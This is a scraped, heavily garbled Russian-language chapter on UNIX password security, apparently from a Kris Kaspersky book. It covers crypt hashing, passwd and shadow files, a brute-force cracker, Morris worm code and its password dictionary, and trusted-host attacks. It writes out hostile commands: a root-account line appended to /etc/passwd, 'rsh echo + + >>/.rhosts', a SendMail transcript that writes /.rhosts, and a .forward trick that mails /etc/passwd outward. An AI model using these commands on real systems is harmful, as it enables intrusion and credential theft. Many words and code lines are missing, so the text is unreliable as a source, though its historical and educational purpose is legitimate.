ALTE DOCUMENTE
|
||||||
UNIX
Что такое привязка 646k1022g ;?
Crypt
John Warley "Press Enter"
guest guest Internet
acs wM$», пользователи и простые словарные слова запомнить не всегда в состоянии и порой выбирают "12345" или "qwerty".
intruder detection intruder detection
UNIX UNIX
UNIX преобразование: если злоумышленники зашифровали свой секретный плат захвата Белого Дома, а, расшифровав, получили Уголовный Кодекс, то уже не шифрование получается! Но в UNIX
/SRC/passwd.simple.c
#include <stdio.h>
#include <string.h>
void main()
SRC/passwd.simple.add.new.user
#include <stdio.h>
void main(int count, char ** arg)
Enter password:" введем любой пришедший на ум пароль. Например, "MyGoodPassword". Запустив "passwd simple exe
Для разминки воспользуемся командой "type passwd.simple" и на экране незамедлительно появится содержимое файла паролей:
type passwd.simple
MyGoodPassword
UNIX . Предположим, существует некая функция f
f(passwd) -> x
s s f s f s2). А это дает возможность отказаться от хранения паролей в открытом виде. В самом деле, вместо этого можно сохранить значение функции f(passwd), где passwd оригинальный пароль. Затем применить ту же хеш-функцию к паролю, введенному пользователем (userpasswd), и, если f(userpasswd) == f(passwd), то и userpasswd == passwd! Поэтому, доступность файла «зашифрованных» паролей уже не позволяет воспользоваться ими в корыстных целях, поскольку по условию функция f
ASCII кодов символов пароля и запомним результат. Пример реализации такого алгоритма приведен ниже (смотри файл "passwd.add.new.user.c"):
#include <stdio.h>
#include <string.h>
void main()
_putw(sum,f);
Запустим откомпилированный пример на выполнение и в качестве пароля введем, например, "MyGoodPassword". Теперь напишем программу, проверяющую вводимый пользователем пароль. Один из возможных вариантов реализации показан ниже (смотри файл "/SRC/passwd.c
#include <stdio.h>
#include <string.h>
void main()
if (sum-_passwd)
printf("Wrong password!\n");
else
printf("Password ok\n");
Обратите внимание на выделенные строки - и в том, и в другом случае использовалась одна и та же функция преобразования. Убедившись в умении программы отличать «свои» пароли от «чужих», заглянем в файл "passwd", отдав команду "type passwd":
type passwd
Yф
Из односторонности функции следует невозможность восстановления оригинального пароля по его хешу, и доступность файла passwd уже не позволит злоумышленнику проникнуть в систему. Расшифровать пароли невозможно, потому что их там . Другой вопрос, удастся ли подобрать некую строку, воспринимаемую системой как правильный пароль? К обсуждению этого вопроса мы еще вернемся позже, а для начала рассмотрим устройство механизма аутентификации в UNIX
UNIX DES
(salt). Разумеется, саму привязку после хеширования необходимо сохранять, иначе процесс не удастся обратить. Однако никакого секрета привязка 646k1022g ; не представляет, (поскольку шифрует не хеш-сумму, а вводимый пользователем пароль).
UNIX обычно хранится в файле "/etc/passwd", состоящего из строк следующего вида:
kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash
Разберем, что этот дремучий лес обозначает. Первым идет имя пользователя (например, "kpnc"), за ним, отделенное двое точением, следует то, что начинающими по незнанию называется «зашифрованным паролем». На самом деле это никакой не пароль - первые два символа представляют собой сохраненную привязку, а остаток - необратимое преобразование от пароля, то есть хеш. Затем (отделенные двоеточием) идут номер пользователя и номер группы, дополнительная информация о пользователе (как правило, полное имя), а замыкают строй домашний каталог пользователя и оболочка, запускаемая по умолчанию.
, использующиеся для модификации алгоритма DES с использованием пароля в качестве ключа. Полученное 64 битое значение преобразуется в одинадцатисимвольную строку. Спереди к ней дописываются два символа привязки, и на этом весь процесс заканчивается.
crypt /SRC/ctypt.c ast lib UWIN UNIX Windows SRC/crypt.exe
#include <windows.h>
extern char *crypt(const char*, const char*);
int main(int argc, char *argv[])
crypt : char * crypt(char *passwd, char *solt), passwd solt
UNIX. Сперва необходимо добавить нового пользователя в файл passwd. Одни из вариантов реализации приведен ниже (на диске он находится в файле "/SRC/crypt.auth.add.new.user.c
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
extern char *crypt(const char*, const char*);
int main(int argc, char *argv[])
crypt auth add new user exe 12345". Теперь заглянем в файл "passwd". Его содержание должно быть следующим "^37DjO th ps crypt DjO th ps /SRC/crypt.auth.c
#include <stdio.h>
extern char *crypt(const char*, const char*);
int main(int argc, char *argv[])
if (!(f=fopen("passwd","r"))) return -1;
fgets(&salt[0],3,f);
fgets(&passwd[0],12,f);
fclose(f);
if (strcmp(&passwd[0],crypt(argv[1],&salt[0])+2))
printf("Wrong password!\n");
else
printf("Password ok\n");
return 0;
crypt auth exe
crypt.auth.exe 12345
Password ok
crypt.auth.exe MyGoodPasswd
Wrong password!
crypt PDP nk nk nk nk nk nk n k x
UNIX
/* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */
static strat_1()/* 0x61ca */
if (x27f2c == 0) cmode = 2;
return;
То есть для пользователя с учетной записью «kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash» вирус в качестве пароля перебирал бы следующие варианты:
имя пользователя (в приведенном примере kpnc)
удвоенное имя пользователя (kpnckpnc)
первое расширенное имя в нижнем регистре (kris)
второе расширенное имя в нижнем регистре (kaspersky)
имя пользователя задом-наперед (cnpk)
. Не последнюю роль в проникновении в систему сыграла атака по словарю. Создатель вируса составил список более четырехсот наиболее популярных с его точки зрения паролей, который и приводится ниже. Парадоксально, но даже сегодня он все еще остается актуальным, и многие пользователи ухитряются использовать те же самые слова, что и двадцать лет назад.
academia, aerobics, airplane,
albert, alex, alexander, algebra, aliases,
alphabet, amorphous, analog, anchor, andromache,
animals, answer, anthropogenic, anvils, anything",
aria, ariadne, arrow, arthur, athena,
atmosphere, aztecs, azure, bacchus, bailey,
banana, bananas, bandit, banks, barber,
baritone, bass, bassoon, batman, beater,
beauty, beethoven, beloved, benz, beowulf,
berkeley, berliner, beryl,
brenda, brian, bridget, broadway, bumbling,
burgess, campanile, cantor, cardinal, carmen,
celtics, cerulean, change, charles, charming,
charon,
coffee, coke, collins, commrades, computer,
condo, cookie, cooper, cornelius, couscous,
creation, creosote, cretin, daemon, dancer,
daniel, danny, dave, december, defoe,
deluge, desperate, develop, dieter, digital,
discovery, disney, drought,
easier, edges, edinburgh, edwin, edwina,
egghead, eiderdown, eileen, einstein, elephant,
elizabeth, ellen, emerald, engine, engineer,
enterprise, enzyme, ersatz, establish, estate,
euclid, evelyn, extension, fairway, felicia,
fender, fermat, fidelity, finite, fishers,
flakes, float, flower, flowers, foolproof,
football, foresight, format, forsythe, fourier,
fred, friend, frighten, fungible, gabriel,
ginger, glacier, golfer, gorgeous, gorges,
gosling, gouge, graham, gryphon, guest,
guitar, gumption, guntis, hacker, hamlet,
handily, happening, harmony, harold, harvey,
hebrides, heinlein, hello, help, herbert,
hiawatha, hibernia, honey, horse, horus,
hutchins, imbroglio, imperial, include, ingres,
inna, innocuous, irishman,
jessica, jester, jixian, johnny, joseph,
joshua, judith, juggle, julia, kathleen,
kermit, kernel,
lambda, lamination, larkin, larry, lazarus,
lebesgue, leland, leroy, lewis, light,
lisa, louis, lynne, macintosh, mack,
maggot, magic, malcolm, mark, markus,
marty, marvin, master, maurice, mellon,
merlin, mets, michael, michelle, mike,
minimum, minsky, moguls, moose, morley,
mozart,
network, newton, next, noxious, nutrition,
nyquist, oceanography, ocelot, olivetti, olivia,
oracle, orca, orwell, osiris, outlaw,
oxford, pacific, painless,
password, patricia, penguin,
persimmon, persona, pete, peter, philip,
phoenix,
polynomial, pondering, pork, poster, praise,
precious, prelude, prince", princeton", protect,
protozoa, pumpkin, puneet, puppet, rabbit",
rachmaninoff, rainbow, raindrop,
rascal, really, rebecca, remote, rick,
ripple, robotics,
ronald, rosebud, rosemary, roses, ruben,
rules, ruth, saxon, scamper, scheme,
scott, scotty, secret, sensor, serenity,
sharks,
shivers, shuttle, signature, simon, simple,
singer, single, smile, smiles, smooch,
smother, snatch, snoopy, soap, socrates,
sossina, sparrows, spit, spring, springer,
squires, strangle,
success, summer, super, superstage, support,
supported, surfer, suzanne, swearer, symmetry,
tangerine, tape, target, tarragon,
telephone, temptation,
tomato, topography, tortoise,
trivial, trombone, tubas, tuttle, umesh,
unhappy, unicorn, unknown, urchin", utility,
vasant, vertigo, vicky, village, virginia,
warren, water, weenie, whatnot, whiting,
whitney, will, william,
winston,
wormwood, yacov, yang, yellowstone, yosemite,
zimmerman.
Внимательно просмотрев этот список, можно предположить, что Роберт читал книгу Френка Херберта «Дюна» или, по крайней мере, был знаком с ней. Как знать, может быть, именно она и вдохновила его на создание вируса? Но, так или иначе, вирус был написан, и всякую доступную машину проверял на десять паролей, выбранных их списка наугад, - это частично маскировало присутствие червя в системе. Если же ни один из паролей не подходил, вирус обращался к файлу орфографического словаря, обычно расположенного в каталоге "/usr/dict/words". Подтверждает эти слова фрагмент вируса, приведенный ниже:
static dict_words()
if (fgets(buf, sizeof(buf), x27f30) == 0)
(&buf[strlen(buf)])[-1] = '\0';
for (user = x27f28; user; user = user->next) try_passwd(user, buf);
if (!isupper(buf[0])) return;
buf[0] = tolower(buf[0]);
for (user = x27f28; user; user = user->next) try_passwd(user, buf);
return;
Pentium
Кену Томпсону приписывается высказывание "When in doubt use brute force" («Если не знаешь, что выбирать - выбирай грубую силу»)
SRC/crypt.ayth.hack.c
Перед запуском программы необходимо сформировать на диске файл "passwd" с помощью "crypt.auth.add.new.user", задав полностью цифровой пароль, например, "12345" (это необходимо для ускорения перебора):
#include <stdio.h>
extern char *crypt(const char*, const char*);
int main(int argc, char *argv[])
printf("=%s\r",&hack[0]);
if (!strcmp(crypt(&hack[0],&salt[0])+2,&passwd[0]))
}
return 0;
UNIX .
случаях, когда атакующий имеет доступ к файлу паролей. Большинство современных операционных систем ограничивают количество ошибочных вводов пароля и после нескольких неудачных попыток начинают делать длительные паузы, обессмысливающие перебор. Напротив, если есть возможность получить хеш-суммы пароля, подходящую последовательность можно искать самостоятельно, не прибегая к услугам операционной системы.
UNIX UNIX (shadow passwords). Теперь к файлу паролей у непривилегированного пользователя нет никакого доступа, и читать его может только операционная система. Для совместимости с предыдущими версиями файл "/etc/passwd" сохранен, но все пароли из него перекочевали в "/etc/shadow" (название может варьироваться от системы к системе).
passw :
kpnc:x:1032:1032:Kris Kaspersky:/home/kpnc:/bin/bash
shadow :
kpnc:$1$Gw7SQGfW$w7Ex0aqAI/0SbYD1M0FGL1:11152:0:99999:7:::
На том месте, где в passwd раньше находился пароль, теперь стоит крестик (иногда звездочка), а сам пароль вместе с некоторой дополнительной информацией помещен в shadow, недоступный для чтения простому пользователю. Описание структуры каждой пользовательской записи приведено ниже (смотри рисунок 015.txt). Легко заметить появление новых полей, усиливающих защищенность системы. Это и ограничение срока службы пароля, и времени его изменения, и так далее. В дополнение ко всему сам зашифрованный пароль может содержать программу дополнительной аутентификации, например: "Npge08pfz4wuk;@/sbin/extra", однако большинство систем обходится и без нее.
. Дело в том, что UNIX UNIX невозможно. Причина заключается в механизме разделения привилегий процессов. Подробное объяснение заняло бы слишком много места, но основную идею можно выразить в двух словах - программа, запускаемая пользователем, может иметь больше прав, чем он сам. К одной из таких программ принадлежит утилита смены пароля, обладающая правом записи в файл "passwd" или "shadow login shadow
С первого взгляда в этом нет ничего дурного, и все работает успешно до тех пор. пока успешно работает. Если же в программе обнаружится ошибка, позволяющая выполнять незапланированные действия, последствия могут быть самыми удручающими. Например, поддержка перенаправления ввода-вывода или конвейера часто позволяют получить любой файл, какой заблагорассудиться злоумышленнику. Но если от спецсимволов ("<|>") легко избавиться тривиальным фильтром, то ошибкам переполнения буфера подвержены практически все приложения. Подробнее об этом рассказано в главе «Технология срыва стека», пока же достаточно запомнить два момента - переполнение буфера позволяет выполнить злоумышленнику код от имени запушенного приложения и эти ошибки настолько коварны, что не всегда оказываются обнаруженными и после тщательного анализа исходного текста программы.
.
"Многие люди отождествляют слово "daemon" со словом "demon", подразумевая тем самым некий вид сатанинской общности между ОС UNIX и преисподней. Это вопиющее непонимание. "Daemon" (далее дух - прим. переводчика) на самом деле значительно более древняя форма, чем "demon". Это слово обозначает существ, которые не имеют какой-то конкретной склонности к добру или злу, но предназначены служить определенному типу личности или индивидуальности. Древние греки имели понятие персонального духа, которое соответствовало более современному понятию - ангел-хранитель. Параллельно с этим существовало понятие эвдемонизма, как состояние помощи или защиты со стороны доброго духа. Как правило, UNIX системы частенько кишат и духами и демонами (что, в общем, ни в чем не отличает эти системы от нашего мира - прим. переводчика)."
Эви Немет (Evi Nemeth), "Руководство системного администратора UNIX" (Unix System Administration Handbook)
UNIX стоит root - то есть , обладающий неограниченными правами в системе. Суперпользователь создает и управляет полномочиями всех остальных, , пользователей. С некоторых пор в UNIX . Специальные пользователи это процессы с урезанными привилегиями. К их числу принадлежит, например, анонимный пользователь ftp anonymous UID GID
WEB WEB
UNIX (не путать с командами сервера) ни получить доступ к файлу "/etc/passwd" они не в состоянии . Более того, файлы и директории, видимые по FTP WEB , не имеющие ни чего общего с действительным положением дел. Кажется, псевдопользователи ни чем не угрожают безопасности системы, но на самом деле, это не так.
UNIX root
UNIX
, кто не бреется сам, может ли он брить бороду сам себя»? Конечно же, нет, ведь он бреет только тех, кто не бреется сам. Но если он не бреется сам, что мешает ему побриться? Словом, получается бесконечный рекурсивный спуск.
после обнаружения признака уязвимости! То есть - существует формальный признак уязвимости системы, но не существует признака ее защищенности. В этом-то и заключается парадокс!
"Нельзя доверять программам, написанным не вами самими. Никакой объем верификации исходного текста и исследований не защитит вас от использования ненадежного (untrusted) кода. По мере того как уровень языка, на котором написана программа, снижается, находить эти ошибки становится все труднее и труднее. "Хорошо продуманную" (well installed " - произнес Кен Томпсон в своем докладе, зачитанным им в 1983 году на ежегодном съезде Американской ассоциации компьютерной техники.
UNIX
login
. Выдача сертификата - сугубо формальная процедура, сводящаяся к сопоставлению требований, предъявленных к системе данного класса с . То есть - никакой проверки в действительности не проводится (да и кто бы стал ее проводить?). Изучается документация производителя и на ее основе делается вывод о принадлежности системы к тому или иному классу защиты. Конечно, это очень упрощенная схема, но, тем не менее, никак не меняющая суть - сертификат сам по себе еще не гарантирует отсутствие ошибок реализации, и ничем, кроме предмета гордости компании, служить не может. Практика показывает, - многие свободно распространяемые клоны UNIX
, то есть узлов, не требующих аутентификации. Это идет вразрез со всеми требованиями безопасности, но очень удобно. Кажется, если «по уму» выбирать себе «товарищей» ничего плохого случиться не может, конечно, при условии, что поведение всех товарищей окажется корректным. На самом же деле сервер всегда должен иметь способ, позволяющий убедится, что клиент именно тот, за кого себя выдает. Злоумышленник может изменить обратный адрес в заголовке IP пакета, маскируясь под доверенный узел. Конечно, все ответы уйдут на этот самый доверенный узел мимо злоумышленника, но атакующего может и вовсе не интересовать ответ сервера - достаточно передать команду типа «echo "kpnc::0:0:Hacker 2000:/:" >> /etc/passwd» и систему можно считать взломанной.
Обычно список доверительных узлов содержится в файле "/etc/hosts.equiv" или "/.rhosts", который состоит из записей следующего вида "[имя пользователя] узел". Имя пользователя может отсутствовать, - тогда доступ разрешен всем пользователям с указанного узла. Точно такого результата можно добиться, задав вместо имени специальный символ "+". Если же его указать в качестве узла - доступ в систему будет открыт отовсюду.
Небезызвестный Кевин Митник в своей атаке против Цутому Шимомуры, прикинувшись доверительным узлом, послал удаленной машине следующую команду "rsh echo + + >>/.rhosts", открыв тем самым доступ в систему. Любопытно, но схема атаки была не нова - задолго до Митника, Моррис - старший предсказал ее возможность, поместив подробный технический отчет в февральский номер журнала Bell Labs
SendMail версии 5.59. Суть ее заключалась в возможности указать в качестве получателя сообщения имя файла ".rhosts". В приведенном ниже протоколе, читателю, возможно, встретятся незнакомые команды (детально описанные в главе «Протоком SMTP
по протоколу SMTP
telnet victim.com 25
#Указываем в качестве адреса получателя сообщения имя файла "/.rhosts"
rcpt to: /.rhosts
mail from: kpnc@aport.ru
data
Hello
#Указываем в качестве адреса получателя имя файл "/.rhosts"
rcpt to: /.rhosts
mail from: kpnc@aport.ru
data
evil.com
quit
rlogin
UNIX !
Тем более, "/.rhosts" это не тот файл, в который никто и никогда не заглядывает. В том же случае с Митником - модификация "/.rhosts" не осталось незамеченной. Гораздо халатнее большинство администраторов относятся к вопросам безопасности личной почты. А ведь злоумышленнику ничего не стоит так изменить файл "/.forward root SendMail
forward root@somehost.org kpnc@hotmail.ru
\root, root@somehost.org, kpnc@hotmail.ru
forward
forward bin mail hack hotmail com < /etc passwd etc passwd hack2000@hotmail.com)
www.rootshell.com
UNIX UNIX UNIX есть. Не факт, что хотя бы одна из них может привести к получению несанкционированного доступа, но очень, очень часто так именно и происходит.
TCP IP BSD UNIX UNIX
- Гуси спасли Рим, но никто не задумывается о их дальнейшей судьбе. А ведь гуси попали в суп. В спасенном же Риме. Так что на их судьбе факт спасения Рима никак не отразился. Представляете, что говорили их потомки: наш дедушка спас Рим, а потом его съели.".
|